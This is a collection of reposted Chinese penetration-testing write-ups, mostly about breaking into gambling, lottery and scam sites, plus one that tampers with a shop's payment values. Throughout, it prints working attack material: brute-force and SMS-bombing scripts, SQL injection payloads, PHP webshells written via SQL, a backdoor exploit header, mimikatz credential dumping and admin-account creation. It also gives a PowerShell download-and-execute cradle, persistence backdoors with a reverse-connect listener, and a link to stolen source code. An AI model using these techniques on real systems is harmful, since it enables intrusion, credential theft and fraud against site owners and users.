光机器人就达到了240多个 在线的真实用户不到10个 该名黑客每天的工作如下: 通过0day漏洞,例如最新的Ueditor的上传漏洞,IIS7.5的解析漏洞,DedeCMS的利用漏洞,等等各类批量化的漏洞, 其中使用的比较多的工具就是某批量化工具 然后上传他的BC页面,使用户下载APP,然后进入他所代理的房间。这样的话用户在该房间充值的钱都会算在这个代理的头上,从而实现盈利 截至目前发稿,该名黑客仍在进行IIS7.5的解析漏洞 导入了 300多w的网址在进行对Ueditor的上传漏洞进行批量化。 原文链接地址:https://www.hackdoor.org/d/216-bc
-
burpsuit插件Turbo Intruder:突破速率限制详解
一、插件介绍Turbo Intruder 是一个 Burp Suite 扩展插件,用于发送大量 HTTP 请求并分析结果,可拥抱十亿请求攻击。它旨在处理那些需要异常速度、持续时间或复杂性的攻击来补充Burp Intruder。二、插件原理使用第一次请求的时候就建立好连接,后续获取资源都是通过这条连接来获取资源的长连接,它还使用了HTTP 管道(HTTP Pipelining )的方式来发送 请求,这种方式会在等待上一个请求响应的同时,发送下一个请求。而在发送过程中不需要等待服务器对前一个请求的响应;只不过,客户端还是要按照发送请求的顺序来接收响应。通过 HTTP 管道的方式发起请求是短连接(Connection: close )速度的 6000% 三、安装方式Burp Suite的BApp Store安装Turbo intuder插件 四、使用方式 选中数据包右键选择Send to turbo intruder(这里一定要抓取数据包,没有抓取是不会显示send to tubo intruder菜单) 此时会打开一个新的窗口,该窗口上半部分区域为原始的HTTP请求包,下半部分为操作代码,中间部分可以根据场景从下拉框中选择具体操作代码。每次打开时此处默认为Last code used,即为上次使用的代码。 其中代码区需要使用“%s”字符来代替需要进行Fuzz的部分。选择对应的操作代码点击最下方Attack即可开始攻击。具体使用细节,可结合第三部分使用场景。 五、使用场景1.验证码爆破主要出现在手机验证或者邮箱验证码登录以及密码找回等功能处,验证码爆破需要结合用户名枚举可以实现接管任意用户。 验证码爆破操作代码: from itertools import product def brute_veify_code(target, engine, length): pattern = '1234567890' #用于生成字典的迭代对像 for i in list(product(pattern, repeat=length)): #product()接收多个迭代对像,然后生成一个笛卡尔积,repeat参数代表重复迭代对象次数。 code = ''.join(i) engine.queue(target.req, code) def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, #指定目标的地址 concurrentConnections=30, #与服务器建立30条连接 requestsPerConnection=100, #每条连接同时发送100个请求 pipeline=True #开启管道(HTTP Pipelining)模式 ) brute_veify_code(target, engine, 6) #根据验证码位数修改 def handleResponse(req, interesting): if 'error' not in req.response: #对response进行操作,不含有“error”的添加入表中 table.add(req) 演示: 假设百度wd参数为数字6位验证码。将参数值以“%s”代替,然后将上方代码复制到操作代码区域 点击Attack开始攻击,可以看到"%s"被替换为生成的字典内容。31秒成功请求29431次,RPS为949 2.并发测试 并发漏洞属于业务逻辑漏洞,存在于对次数进行限制的功能点,如签到,抽奖,优惠券领取等功能点。使用并发技术进行测试,观察服务器是否可以多次成功响应。 并发测试的操作代码: def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False ) for i in range(30): #创建30个请求,需要和concurrentConnections对应,每条连接发送一个请求 engine.queue(target.req, target.baseInput, gate='race1') #“gate”参数会阻塞每个请求的最后一个字节,直到调用openGate #等待,直到每个“race1”标记的请求就绪,然后发送每个请求的最后一个字节 engine.openGate('race1') #标识属于同一个并发测试的请求 engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) 演示: 此代码在插件中可选/examples/race.py 由于并发测试不需要对原始请求包进行处理,所以很可能会遇到下面这种问题由于工具执行流程,在原始请求包里必须有"%s"字段,因此需要在请求包中任意位置添加“%s”即可。 3.短信轰炸在某个网站上发现了用户注册页面中有一个获取验证码 抓一下发送验证码的数据包我们看到手机号在POST参数中,把这个数据包发到Turbo Intruder 记得在请求头加一个X: %s(turbo中的%s类似于burp intruder里面的§s§,虽然我们没有迭代的变量,但是turbo启动时会检查%s)此代码在插件中可选/examples/race.py 并发发送数据包,可以看到发送结果大部分的长度都为328,328就是发送成功通过该插件可以绕过一分钟只发送5次短信的限制,并发在短时间内1秒发送10次验证码。
-
一次对跨境菠菜类APP的渗透实战
0x01 准备工具 此次渗透实战主要针对安卓APP,菠菜APP后台服务器在境外,平台包含多款非法涉赌小游戏。 1、雷电安卓模拟器,用于运行赌博网站的安装程序。 2、抓包工具Fiddler(或burpsuite、 wireshark),用于流量抓包找到网站后台服务器地址。 3、Sublist3r、中国蚁剑等常规渗透工具。 0x02 信息搜集 1、寻找服务器地址。流量抓包分析网络菠菜APP的服务器地址。利用Fiddler抓取安卓模拟器流量,通过分析获取APP后台网站地址:http://****.com。抓包也可以用bp或者wireshark工具,网上教程比较多。 对抓包发现的域名“****.com”进行查询,发现目标服务器IP地址:x.x.x.x,并进一步对服务器IP在“站长之家”网站查询,确认服务器在境外。 2、获取子域名。 用Sublist3r.py 工具搜集域名, python Sublist3r.py -d xxx.com -o 1.txt发现一些子域名,测试未发现突破口 0x03 渗透过程 1、注册登录,发现HTML5页面。App页面注册登录,抓取地址,把抓取到地址拿到浏览器登录,发现APP页面是纯HTML5页面,这就更方便在浏览器里操作了。 2、尝试前台账号注入失败,利用测试号码注册然后Bp抓包改包,寻找注入点,但注入失败。 3、登录注册用户,发现上传漏洞。浏览用户功能,在个人中心处存在身份审核功能,需上传身份资料以核验用户信息,推断此上传功能可以隐藏木马上传点。 4、经上传fuzz测试,后端程序仅对mime和文件头内容进行校验。修改文件类型的绕过方法,直接上传图片马并修改mime类型,成功上传得到shell地址。 5、是利用“中国蚁剑”成功连接木马,在服务器网站源码里分析找到数据库配置文件,成功连接数据库。 6、使用中国蚁剑连接数据库成功,得到账号以及密码的哈希值。 7、通过文件目录结构分析,后台为单入口文件,参数s=admin成功跳转后台,通过数据库解密后台账户的hash值,成功登陆后台。 通过获取管理员后台权限,掌握网站当天注册用户数231户,发生赌博单数86但,资金流水54.2万元。在管理员登陆日志方面,主要登录ip分布在菲律宾、香港、广西、越南等地。 用户登录日志记录,数据包含用户的id、登录ip、手机号、登录时间等信息。 用户投注记录,数据包含会员id、投注金额、累计等级礼金等。 0x04 挖洞方法总结 1、查找注入,注意数据库用户权限和站库是否同服务器。 2、查找XSS,目的是进入后台以进一步攻击。 3、查找上传,一些能上传的页面,比如申请友链、会员头像、和一些敏感页面等等,查看验证方式是否能绕过,结合服务器的解析特性。 4、查找下载,在网站的下载栏目,或者文章后面的附件下载链接,测试是否存在未授权的文件下载。 5、查找编辑器,比较典型的ewebeditor、fckeditor等 6、查找可能的后台管理程序,可以尝试弱口令 转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247485589&idx=1&sn=f4f64ea923675c425f1de9e4e287fb07&chksm=ce67a20cf9102b1a1a171041745bd7c243156eaee575b444acc62d325e2cd2d9f72b2779cf01&scene=21#wechat_redirect
-
看我如何拿下BC站的服务器
一、信息收集拿到目标网站,可见是一个很常规的bc站。 先进行简单的信息收集,通过Wappalyzer插件可见php版本与windows serve这两个比较重要的信息 命令行nslookup+url查看ip,发现没有CDN 再到爱站上看看 嗯,柬埔寨可还行 知道ip地址后端口扫描一波(全端口扫描+服务探测。这个过程比较漫长,可以先干别的) 在扫描之余尝试3389连接远程桌面(因为开始已经看到是windows serve的服务器) 试了两次,猜测是修改端口了,或者是登录ip白名单? 二、后台爆破回到web,反手在url后面加一个admin 后台出来了,这bc有点水啊,随手测了几个弱口令,无果 发现没有验证码校验,抓包爆破一波 通常找一些常规的弱口令进行爆破就够了 秒出密码:123456,我吐了,他们运维可能要被打死 三、寻找上传点这么简单就拿下了后台,我们当然不会满足。 大致浏览了一下后台的各个功能,寻找可以利用的地方,在系统管理处找到一处上传点 (有没有表哥发收款码过来,暴富的机会来了!) 随便写一个一句话,并将后缀改成.jpg并且抓包发送到Repeater查看 提示“不是真正的图片类型” ,在包内改成php后缀,提示非法文件类型 感觉是白名单+文件头校验,尝试图片马 尝试了几波,白名单限制得很死,没绕过去 顿时陷入了僵局,还是另外寻找突破口吧 四、峰回路转认真想了一下,它是Windows,而Windows的主流建站工具,宝塔,护卫神,phpstudy,upupw。之前看到它的php版本是5.2.17,正好想到前段时间爆出的phpstudy的2个后门,后门存在于php-5.4.45和php-5.2.17两个版本中。马上测试一波 请求包中Accept-Encoding: gzip, deflate,将gzip,deflate中间的空格删掉 并在下面加上一句:Accept-Charset:+所执行命令的base64编码 我惊呆了,真的是用phpstudy建站的,这站长心也太大了吧,接下来的事情就好办多了。 五、蚁剑无文件shell连接之编码器记得改成base64 然后将一句话进行base64编码,复制到 Accept-Charset:后面 修改蚁剑内的请求信息,处Header头修改如图下 测试连接,成功连接上 发现直接是SYSTEM权限,这就好玩了 六、上传mimikatz抓取Hash新建目录,上传winrar.exe +mimikatz 使用上传的winrar解压,命令:winrar.exe e x64.rar 运行mimi.bat,这里说一下下图后面最好加上一个exit,不然的话mimikatz会不断的写日志,导致log文件越来越大,当时就犯了这样一个错误 将生成的mimikatz.log复制到网站根目录下,然后去查看 成功抓到管理员的RDP的密码。 回头看看之前扫的全端口也扫好了 可见总共开了三个端口,一般更改了3389端口 用nmap扫描加 -sV参数后,扫出的rdp服务,一般service会显示为 ssl/unknown. 尝试远程桌面连接 嘻嘻,成功登录,拿下服务器,随即点了根烟,将所有证据打包好,掏出了手机拨打110 七、总结在我们拿下webshell的时候,想要获取数据或者源码往往会用菜刀或者蚁剑去打包,但是这个时候往往就会出现很多问题,列如打包失败,或者是打包得不完整等等。 这个时候如果对方是windows服务器的话,我们可以将我们本地装的winrar.exe上传过去 压缩盘下的dat文件夹,并且命名为bat.rar winrar.exe a -ag -k -r -s -ibck c:/bak.rar c:/dat/ 压缩多个文件 winrar a -ag -ibck bak.rar filename1 filename2 filename.... 参数说明: a :备份所有文件; -ag :当创建压缩文件时,以格式“YYYYMMDDHHMMSS”附加当前日期字符串,文件名bakYYYYMMDDHHMMSS.rar; -k :锁定压缩文件; -r:备份目录和子目录; -s :创建固实压缩文件; -ibck:后台运行; filename1:要压缩的文件名,可以多个,也可用通配符file* 转载于原文链接地址: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247485789&idx=2&sn=a1a3c9fc97eeab0b5e5bd3d311e3fae6&chksm=ce67a3c4f9102ad21ce5c895d364b4d094391d2369edfc3afce63ed0b155f8db1c86fa6924f1&scene=21#
-
BC实战后渗透之Bypass Applocker到提权
0x01 前言 提示:当个反面案例看就好,实际上拿下的方式远没有下文说的那么麻烦,只怪自己太心急… 本来是之前BC项目搞下来的一个推广站,当时只拿到了Shell 权限是一个普通用户,想提权进一步收集服务器上的信息时,发现运行各种东西都是权限拒绝,提示组策略阻止了这个程序,当时因为还有的别的事情,就没继续研究了(项目已获得有关部门授权,用户名比较敏感,后面全程打码)。 0x02 Bypass Applocker 最近突然想起来了,就继续搞一下,问了下群里的师傅 知道是什么东西以后就好说了,耐心找一找总会有收获的,附上Applocker介绍: https://baike.baidu.com/item/Applocker/2300852?fr=aladdin然后就找到3g师傅的一篇文章: https://3gstudent.github.io/3gstudent.github.io/Use-msxsl-to-bypass-AppLocker/具体怎么利用就自行看文章吧,看完文章后续的大概思路差不多就清晰了 0x03 上线到提权 我想的是bypass applocker让目标服务器执行我的马子上线后在进行后续的提权,然而Shell下执行 net user、tasklist /SVC等等都没得回显,不然可以通过进程对比判断下杀软(自己写的小轮子,目前可匹配进程已经增加到960+了:http://get-av.se7ensec.cn/) 既然不知道,那我就拼一拼人品,赌一下主机里没有杀软,通过上面3g师傅文章的第三种方式运行了我的马子,然后就成功上线了,忽略下面那个机器… CS上线以后再运行某些命令,比如下面这个,还有tasklist /SCV发现还是会拒绝访问 然后又尝试了下CS内置的查看系统进程命令 ”ps“,成功列出了系统进程,看了下确实是没有杀软的 /* 忘了截图 */ 运行 “ shell systeminfo” 发现系统和补丁信息居然可以看到了,然而系统根本没打几个补丁,运气有点好,看了下用户权限,符合Juicy Potato的要求,可以直接尝试下烂土豆提权: https://www.4hou.com/posts/vZoL 经过测试发现上线以后(实际上本来就有执行权限,当时没有想到不对劲,事后总结文章时才意识到不太对,详见文末),C:\Users\Public\下有了执行权限,用Juicy Potato带个whoami参数执行下,成功返回了system 再直接用它执行下马子,等几秒就会过来一个System的会话了,翻了翻目录发现还是个站群 Administrator权限截个屏看下,怪不得那么多,原来人家都是批量建站的: 0x04 总结 碰巧这次运气好没有遇到杀软,不然肯定会是一路坎坷,也会更有挑战性 最失败的是这次自己没有提前全面了解Applocker的一些功能介绍: https://www.anquanke.com/post/id/159892,心急的搜到了bypass方法就开始用,其实这次遇到的只是文件路径的限制,C:\Users\Public\就可以执行程序,早一点发现的话也不会那么费劲,不过能完整了解到Applocker的机制,也算是一个收获吧 转载于原文链接: https://mp.weixin.qq.com/s/eDe6g1gtM4HbMkxq6tkiEQ
-
记一次内衣网站渗透测试
这站真大,不对,这站真圆.php的站随便随便一测 一枚注入 因为只能读取32位所以使用substring分开读取 https://aaaa.com/1.php?id=210%20and%20extractvalue(1,concat(0x7e,(select password from admin limit 1,1),0x7e))%20# https://aaaa.com/1.php?id=210%20and%20extractvalue(1,concat(0x7e,substring((select password from admin limit 1,1),30,35),0x7e))%20# 舒服了,这下可以给光明正大的进去选内衣了 0x02 拿shell 看看robots.txt inurl:a.com admin 进入后台发现是ECSHOP 这里原本是file改为image绕过 似乎不行被重置了 这里发现可以执行sql语句而且存在绝对路径泄露 ok下面就好说了,写入一句话 0x03 提权 权限有点小低 存在mysql也没其他可以利用的 尝试mysql提权 除了目录不能上传其他条件都满足所以当我没说,上cs,powershell上线 提权这里使用Juicy Potato 具体可以参考三好学生文章 选择想要的任何CLSID,链接 然后我们在以system权限执行powershell shell style.exe -p "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('powershell地址'))\"" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}这里面的双引号记得转义 0x04 横向渗透 为工作组环境,扫出来0.9也是一台web这里hash传递直接拿下,继续抓hash,目前以有如下账户 wiseadmin shopaccount mysql wiseadmin filetransfer demoadmin WDAGUtilityAccount 平平无奇hash传递-- 一个应该是web的的一个demo,然后0.7可能是数据库服务器 都是admin权限了如果想要获取system的话可以使用SelectMyParent,其实也就是j把新进程当中system进程的子进程,这里就用cs的马,先查看winlogon.exe的pid 可以看到这里为500 然后把我们的systen.exe上传,执行shell SelectMyParent.exe systen.exe 500 这步操作其实就是凑点字数 ,哈哈哈哈 0x05 权限维持 这里就拿本机测试了 粘滞键后门 在windows上连续按5次“Shift”,就可以调出粘滞键 粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。粘滞键可以先按一个键位(如shift),再按另一键位,而不是同时按下两个键位,方便某些因身体原因而无法同时按下多键的人。一般的电脑连按五次shift会出现粘滞键提示 使用如下命令 cd windows\system32move sethc.exe sethc.exe.bakcopy cmd.exe sethc.exe如果目标机是 winvista 以上的,即 winvista 以后出的系统,修改 sethc 会提示需要 trustedinstaller 权限,所以想要继续,那就需要修改所有者为Administrator,并修改其权限: 然后修改为完全控制 现在我们连续按下5次shift就弹出一个system权限的cmd 注册表注入后门 在普通用户权限下,攻击者将会需要执行的后门程序或者脚本路径写到注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键值可以任意设置,或者直接执行如下命令添加启动项 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\shell.exe" 当管理员重新登录系统时,就会执行后门程序 计划任务后门 命令:schtasks /Create /tn Updater /tr c:\shell.exe /sc hourly /mo 1以上的命令会在每小时执行一次shell.exe,在win7及以下的系统使用at命令代替schtasks meterpreter后门 meterpreter > run persistence -U -i 5 -p 1234 -r 192.168.220.128 -A 自动启动一个匹配的 exploit / multi / handler来连接到代理 -L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。 -P 有效负载使用,默认为windows / meterpreter / reverse_tcp。 -S 作为服务自动启动该木马(具有SYSTEM权限) -T 要使用的备用可执行模板 -U 用户登录时自动启动该木马 -X 系统引导时自动启动该木马 -h 这个帮助菜单 -i 每次连接尝试之间的时间间隔(秒) -p 运行Metasploit的系统正在侦听的端口 -r 运行Metasploit监听连接的系统的IP 缺点是容易被杀毒软件查杀,然后它就在目标机新建一个vbs文件,然后每次自动启动他web后门的话可以使用weevely 这里生成一个shell.php来测试 将文件放入服务器目录下,然后执行 weevely http://192.168.220.1/shell.phpshell 可以help查看帮助 audit.etcpasswd | 枚举/etc/passwd audit.userfiles | 列举用户/home下具有权限的文件 audit.mapwebfiles | 枚举任意Web站点的URL链接 shell.php | 编写php文件 shell.sh | 编写系统脚本 system.info | 收集系统信息 find.suidsgid | 查找SUID / SGID文件和目录 find.perms | 查找权限可读/写/可执行文件和目录 backdoor.tcp | TCP端口后门 backdoor.reversetcp | 反弹TCP连接 bruteforce.sql | 爆破指定数据库用户名密码 bruteforce.sqlusers | 爆破所有数据库用户密码 file.upload | 上传本地文件 file.upload2web | 上传二进制/ ASCII文件至目标站点文件夹并枚举URL file.enum | 在本地词表的书面枚举远程文件 file.read | 读文件 file.rm | 删除文件 file.check | 检查远程文件的状态(md5值,大小,权限等) file.download | 下载远程二进制/ ASCII文件到本地 sql.console | 启动SQL控制台 sql.dump | 备份数据库,即脱库net.scan | 端口扫描net.phpproxy | 安装远程php代理 net.ifaces | 显示远程主机网络接口信息 net.proxy | 安装隧道通信代理 执行一些windows命令 执行自带命令 转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247485826&idx=2&sn=8f11b7cc12f6c5dfb5eeeb316f14f460&chksm=ce67a31bf9102a0d704877584dc3c49141a376cc1b35c0659f3ae72baa7e77e6de7e0f916db5&scene=21#wechat_redirect
-
渗透系列之打击彩票站
获取phpmyadmin弱口令 通过信息收集到彩票站点的ip为xxx,探测扫描发现存在phpmyadmin,通过猜测,使用默认弱口令(root/root)登入到phpmyadmin当中。 通过phpmyadmin后台sql查询写入shell到日志文件 使用phpmyadmin的sql查询功能将一句话木马写入到日志文件当中。 流程和命令如下: 1、开启日志功能:set global general_log=on; 2、点击phpmyadmin变量查看日志文件名字: 这里的日志文件是test.php。 3、执行SQL命令写入一句话到日志文件: SELECT'<?php assert($_POST["test"]);?>'; 4、执行成功返回。 5、查看日志文件。 6、菜刀连接添加用户并且上传mimikatz。 使用菜刀连接日志文件木马,xxx/test.php 密码:test 查看发现是系统管理员sysytem权限,直接添加用户且添加到管理组即可。 命令为: C:\Windows\system32\net.exe user Test Test!@#123 /add C:\Windows\system32\net.exe localgroup administrators Test /add 上传mimikataz到服务器当中。 7、3389连接,读取管理员密码。 (1)、直接telnet ip 3389 测试发现可通,于是直接连接3389进去。 (2)、或者这里在菜刀上执行以下命令查询3389开放的端口也一样。 第一步: tasklist /svc | findstr TermService 查询远程桌面服务的进程 第二步: netstat -ano | findstr **** //查看远程桌面服务进程号对应的端口号。 (3)、执行mimikatz,读取到管理员组登录密码。 (4)、使用获取的administrator/xxxx账户密码远程登入服务器当中。 发现该服务器使用phpmystudy批量建立彩票站,大概有十几个站点,随意访问几个服务器上的网站域名,部分截图如下: 系统一: 系统二: 系统三: 后台一: 后台二: 转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247487003&idx=1&sn=5c85b34ce6ffb400fdf858737e34df3d&chksm=ce67a482f9102d9405e838f34479dc8d1c6b793d3b6d4f40d9b3cec9cc87f14555d865cb3ddc&scene=21#wechat_redirect https://blog.csdn.net/weixin_39997829/article/details/109186917
-
对诈骗(杀猪盘)网站的渗透测试
今天朋友突然告诉我,某转买手机被骗了1200块钱,心理一惊,果然不出所料,那我来试试吧。 要来了诈骗网站地址,打开是这种: 果断收集一下信息:(由于留言骗子返还朋友钱款,暂时给他留点面子,打点马赛克) 查看端口,一猜就是宝塔面板搭建开着80,那就访问一下:从官网查找客服软件的教程。发现后台路径为:/admin直接访问果然发现:想也没想,直接admin:123456,没想到的是进去了哈哈哈:下一步当然是getshell,找了一圈发现直接可编辑语言配置文件:这里使用简单的一句话还给我封了ip丫的,看了一眼竟然用云盾,这骗子还有点安全意识,那只好祭出我的哥斯拉杀器(直接带bypass function的,也好用对不):好家伙,禁用的函数如此之多,那行吧,绕过呗文件管理时发现限制目录读取: 直接使用哥斯拉的目录访问绕过: 最后目录浏览时发现php存在多个版本,本人php5提权不太熟悉(哥斯拉不适用哈哈),看见php7后果断找其他站点:访问其他站点都能访问,解析ip都是这个,终于发现一个php7的 终于发现一个php7的,但是linux版本内核很新啊,看来提权是个麻烦 而后不出所料,哥斯拉的函数绕过可执行命令:执行后直接获取低权限shell: 是www用户,权限很低。 在目录下还发现了一个杀猪盘工具:框框 可以一键生成诈骗详情链接: (现在大家知道不要相信qq微信交易的重要性了吧,这种杀猪盘很容易坑人) 最后根据收集到的数据库链接等信息准备进数据库里看一眼,哥斯拉的链接有问题: 于是搭建frp到骗子服务器访问: 信息: 由于www用户无法写入mysql目录.so文件,无法使用mysql提权。 sudo一直要使用www密码,结果也是无法使用sudo。 有suid位的命令如表, /usr/bin/chage /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/mount /usr/bin/su /usr/bin/umount /usr/bin/pkexec /usr/bin/chfn /usr/bin/chsh /usr/bin/at /usr/bin/sudo /usr/bin/crontab /usr/bin/passwd /usr/sbin/grub2-set-bootflag /usr/sbin/unix_chkpwd /usr/sbin/pam_timestamp_check /usr/lib/polkit-1/polkit-agent-helper-1最后使用CVE-2018-18955 https://www.freebuf.com/news/197122.html最后已将整理完的信息提交朋友和警方,就没再深入。 本文转载自于原文链接:https://xz.aliyun.com/t/9200 https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486388&idx=1&sn=cfc74ce3900b5ae89478bab819ede626&chksm=ce67a12df910283b8bc136f46ebd1d8ea59fcce80bce216bdf075481578c479fefa58973d7cb&scene=21#wechat_redirect
-
菠菜站人人得而诛之
0x00 偶遇一棋牌网站1、简单的抓包分析一下 2、用户名后边加单引号直接报错了,闭合之后又正常了,稳稳地sql注入一枚。 3、通过测试没有发现任何安全设备,直接上sqlmap。 4、过程就不啰嗦了,直接得到下边数据 current-user: developer@% select @@BASEDIR: '/usr/' select USER(): '[email protected]' select DATABASE(): 'edc' select SYSTEM_USER(): '[email protected]' select @@CHARACTER_SETS_DIR: '/usr/share/mysql/charsets/' select @@CHARACTER_SET_CLIENT: 'utf8' select @@DATADIR: '/var/lib/mysql/' select @@CHARACTER_SET_SERVER: 'latin1'5、通过一波信息收集,当前用户权限很低,有用的信息少得可怜 6、对目标端口进行扫描,发现端口开了挺多 7、打开80端口没有任何页面 888 端口 是apache默认首页 得到绝对路径 /var/www/html/ 9090 端口 是赌博站管理登录地址 9091 端口 是赌博站会员登录地址 8、经过测试,这个两个页面没有可利用的漏洞 0x01 突破点1、通过对目录进行扫描发现一个报错页面,得到一个注入点还得到一个info.php 2、拿到数据库root权限 db_test 当前数据库 [19:54:48] [INFO] resumed: 'root'@'localhost' [19:54:48] [INFO] resumed: 'developer'@'localhost' [19:54:48] [INFO] resumed: 'root'@'127.0.0.1' [19:54:48] [INFO] resumed: 'syncopy'@'222.xxx.xxx.xxx' [19:54:48] [INFO] resumed: 'mlh'@'localhost' [19:54:48] [INFO] resumed: 'developer'@'%' [19:54:48] [INFO] resumed: 'mlh'@'%' [19:54:48] [INFO] resumed: 'edc'@'%' [19:54:48] [INFO] resumed: '6hc_nav'@'%' 0x02 尝试写入shell1、通过sql语句写入shell却没有成功,只有在支持堆叠查询时,才能执行非查询SQL语句 sqlmap --sql-shell select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/25u_ft/1.php" 2、换一种方式写入 --file-write "/localhost/shell.php" --file-dest "/var/www/html/25u_ft/test.php"3、完全写不进去,发现是没有写入权限,只有读取权限 --file-read "/var/www/html/25u_ft/info.php"4、可以正常读取,尝试读取配置文件,至此走上了一条错误之路 (1)读取了几个配置文件,并没有什么思路 (2)回头去注入管理员的密码,尝试从后台获取shell -D "10fenft" -T "g_user" -C "g_name,g_password" --dump (3)成功登录后台 (4)后台简陋的一批,没有上传功能 0x03 getshell1、该有的条件都有了就是拿不到shell,很难受。 2、在各种渠道查询这个ip,突然发现以前有域名解析到这里 3、太好了,域名还可以正常访问,是一个论坛 4、竟然是thinkphp,而且还爆出了绝对路径 5、重复之前的写入操作,一下就成功了,哈哈哈哈 0x04 打包源码1、直接链接shell 2、权限不高,但是丝毫不影响我打包源码 0x05 总结发现还要很多同类型的站点 源码放在下边了 https://xzfile.aliyuncs.com/upload/affix/20210513165936-8aadc29a-b3c9-1.rar 转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486232&idx=1&sn=301810a7ba60add83cdcb99498de8125&chksm=ce67a181f9102897905ffd677dafeb90087d996cd2e7965300094bd29cba8f68d69f675829be&scene=21#wechat_redirecthttps://xz.aliyun.com/t/9567
-
记某SQ商城支付逻辑漏洞的白嫖
某天挖 edu 挖到自闭,然后想着 fofa 一下,看看有没有什么好玩的站点 好家伙,居然还真有这种商城,原谅我孤陋寡闻了。于是乎,想进去学习了一下 首先,进行了一下初步的信息收集 基本上都是伪静态的,没有什么发现可以明显判断其网站后端语言的地方在搜索框点击搜索后 可以发现这个地址并不能帮助我们判断该站的类型但也要尝试一下SQL注入 然后直接被 Ban IP了,索性放弃对这个地方的继续研究,继续翻找其他功能点。当我们点击订单查询时 可以发现Url 产生了变化 跳转到了登录注册页面,既然来都来了,注册一个看看有没有其他业务,黑不走空,哈哈哈 昵称处尝试打 Xss,发现也会被 Ban IP,那就先放一下,找找有没有什么业务逻辑漏洞吧。尝试购买一些商品,之前一直听说支付漏洞,但弟弟从没有真正遇到过,碰碰运气吧 点击购买,抓包发现 cookie 中出现了一个奇怪的参数 我们拿去urldecode 一下,看看是什么东西 那就猜测一下,可以看到前面应该是价格,后面是购买的个数,我们先改一下 编码回去,覆盖发包 因为在 cookie 里,所以传过去的每个数据中的 cookie 都要改 可以发现,我们的单价变为了 1,数量为 10,总额变为了 10,记录一下参数之间对应的关系 提交订单,修改cookie内的值,然后继续,页面跳转到了支付宝付款页面 点开支付宝,发现价格的确发生改变 没错,75元的商品,只需要17元即可支付,但是商家发不发货就不晓得了 意外惊喜 然后,我有发现有个参数之前没测试,那就试一下吧 user_zheko,应该就是折扣的意思,那我修改一下,验证一下 已知 100 是无折扣,那我改成 0 呢?发现无法弹出地址的那栏 改成 1 后,果然享受了一折优惠,哈哈哈哈 可以发现,只用支付 14 元了,享受 1 折优惠继续缴费操作,然后还有7元邮费<万恶的商家居然不包邮>,然后支付21元,即可把增*器带回家,想想就刺激呢! 文末总结: 1、挖洞还是就一句话,心细则挖天下! 2、面对逻辑漏洞,一定要注意每个页面交互跳转时的参数,尽可能的去猜测传的每一个参数的作用是什么。Burp看不方便的话 F12 也可以看到,看自己喜好和习惯了。一定要细心去测,不要放过一些细小的点,说不定就会有惊喜 3、订单查询都没发现可以越权,没想到支付点居然是前端可控的,嘿嘿嘿 转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486060&idx=1&sn=a4b977e9e3bbfe7b2c9ec479942e615c&chksm=ce67a0f5f91029e30c854eb2f71173efe925a38294fd39017708abcf4deea5c2b25dee518ebf&scene=21#wechat_redirect
-
记一次bc站实战
初遇难题发现一个bQc站先尝试打一下主站先尝试目录扫描看能不能发现一些后台之类的,这里我用的是dirsearch。但是很遗憾,没有什么有价值的目录,连后台也扫不出来,但是这是在意料之中,毕竟大部分菠菜网站防护都做的挺好的。接下里尝试注册一个账号看看尝试注入,发现加密,不会逆向的我只能暂时放弃。注册成功后发现一个上传接口上传成功但是查看后发现他是以id的形式存储,无法形成上传漏洞放弃。这个网站拿不下来转换思路尝试对整个ip进行渗透,首先要对这个ip的全端口进行扫描,尽量获取到比较全的信息。获得了两个web页面。rocketmq,这个有最新版漏洞爆出来尝试找到工具尝试攻击,但是失败不能执行命令。还有另外一个登录界面发现存在shiro框架尝试爆破但是未发现秘钥。柳暗花明突破点:他有一个8888端口,访问都会跳转非法ip看了一下burp发现他会访问登录页面再进行跳转眉头一皱发现事情并不简单,在ip后随便加了一点,导致其报错,发现其使用的是spring框架。Actuator 是 Spring Boot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的 Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的 Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进行暴露,大部分应用选择HTTP。 路径是否默认启用功能描述/auditevents是显示当前应用程序的审计事件信息/beans是显示一个应用中所有Spring Beans的完整列表/conditions是显示配置类和自动配置类的状态及它们被应用或未被应用的原因/configprops是显示一个所有@ConfigurationProperties的集合列表/env是显示来自Spring的 